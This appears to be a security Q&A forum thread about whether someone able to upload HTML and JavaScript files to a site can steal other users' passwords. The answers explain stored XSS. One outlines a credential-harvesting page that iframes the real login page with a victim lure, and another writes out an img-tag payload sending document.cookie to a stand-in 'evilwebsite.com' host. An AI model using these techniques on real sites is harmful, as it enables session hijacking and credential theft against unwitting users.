Is it true that if an attacker has the possibility to upload any .html and .js files, then he can get a password of another user?

Please explain how to do it.

  • Oh, I see: The attacker can get an authorization cookie. But can he also steal the password?
    – porton
    Dec 2, 2016 at 4:19
  • That assumption is heavily dependent on the situation. XSS attacks can do a lot, and stealing passwords is one of them, but only if the conditions are right.
    – h4ckNinja
    Dec 2, 2016 at 4:22
  • Please add additional context. This is a very broad question, and without having specific knowledge of the implementation there's no way to answer this well.
    – Ori
    Dec 2, 2016 at 7:29

4 Answers 4


Depends how you store passwords. If you store the passwords as plaintext the yes it is a trivial job for anyone with write access to a web server to obtain the plaintext password. If however you store the passwords via a one-way hash using a procedure such as sha3 it becomes more difficult for an attacker. They would have to find a string to put into the procedure such that the output is the same as the given hash. It was estimated that doing this with an earlier version of sha (sha1) would cost about USD2k on the Amazon cloud platform.

  • You might want to explain what method you are describing. It seems like you're skipping straight to having access to a hash.
    – Ori
    Dec 2, 2016 at 7:27
  • 1
    Paula, you don't explicitly say it, but you are talking about exfiltrating data from the password database on the server. I think the OP is asking about attacking a user's session.
    – schroeder
    Dec 2, 2016 at 7:38
  • I think the confusion arises from OP's post. He talks about stealing a password, not a session ID.
    – Snappie
    Dec 2, 2016 at 10:21
  • The original question was: "Is it true that if an attacker has the possibility to upload any .html and .js files, then he can get a password of another user?..." Dec 2, 2016 at 11:06
  • And given that that was the original question I am a little puzzled as to how I get blamed for not discussing session cookies. It seems to me that the key words here are 'upload' which is usually in the direction of the server, 'password' any system which stores passwords in cookies is just asking to be cracked. Dec 2, 2016 at 11:11

Yes, this is a huge security hole. Lets say you discovered this on example.com. How do you exploit it?

  1. Upload a HTML file containing an iframe with the login page of example.com, and some JavaScript to read any passwords entered and send them to evil.com.
  2. Send the link to some innocent victim: "Just login to example.com to claim your free prize!" When the victim visit the site, she notice that everything lookas as it always does - even the EV certificate checks out. So surely everything must be allright! She enters her login credentials.
  3. Profit.

Please note that this is not a case of the victim being gullible, since she is actually on the right site and not a phishing mirror like eksample.com. Still, if you don't want to rely on any action from the victim other than following the link, you could still easily steal session cookies (unless they are HTTP-only).


Is it true that if an attacker has the possibility to upload any .html and .js files, then he can get a password of another user?

If the attacked can upload those onto the server? Yes. It is trivial to read the password field with JS. Then encode the password as a URL to a domain controlled by the attacker and shove it into window.location.


if he can upload any html or JavaScript file and is able to overwrite any page of the website. (by downloading, editing and re-reuploading any html file), he could run any code he wants. He would basically perform a stored Cross-scripting attack

He could easily write something like

<img src="www.evilwebsite.com/+document.cookie" />

this steals the session ID of any user who visits the page and allows the attacker to hijack the session. Allowing him to impersonate the compromised users.

He could also just edit any login form to also send the login details to the attacker's website or webservice.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .